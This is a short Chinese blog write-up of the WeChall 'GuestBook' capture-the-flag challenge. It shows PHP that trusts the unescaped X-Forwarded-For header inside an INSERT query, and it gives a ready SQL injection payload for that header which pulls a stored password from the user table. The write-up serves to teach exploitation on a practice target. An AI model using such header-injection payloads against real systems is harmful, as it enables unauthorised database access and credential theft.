WeChall 之 GuestBook

  • A+
所属分类:安全博客

这题是个SQL注入
看到

$message = mysql_real_escape_string($message);

这句话,就知道message这个点是注入不了的。
那么只能从其他地方注入。
研究这句话:

$query = "INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')";

只对message有过滤处理,而对其他的变量并没有过滤。
同时看上文的

function gbook_getIP()
{
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    elseif (isset($_SERVER['HTTP_VIA'])) { 
        return $_SERVER['HTTP_VIA'];
    }
    else {
        return $_SERVER['REMOTE_ADDR'];
    }
}

函数,发现这里是通过XFF来得到的客户端IP,同时XFF没有被过滤。
那么我们就可以通过构造XFF字段来注入:

X-Forwarded-For:',(select gbu_password from gbook_user limit 1))#

FROM :rickyhao.com | rickyhao.com

相关推荐: HITCON 2015 BabyFirst(命令执行绕正则)

题目地址:https://github.com/otakekumi/CTF-Challenge/blob/master/PHP/chall_4/index.php 借上次的docker环境,稍微改了下。本地搭了个环境玩。 代码审计,整个程序的逻辑是为一个客户端…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: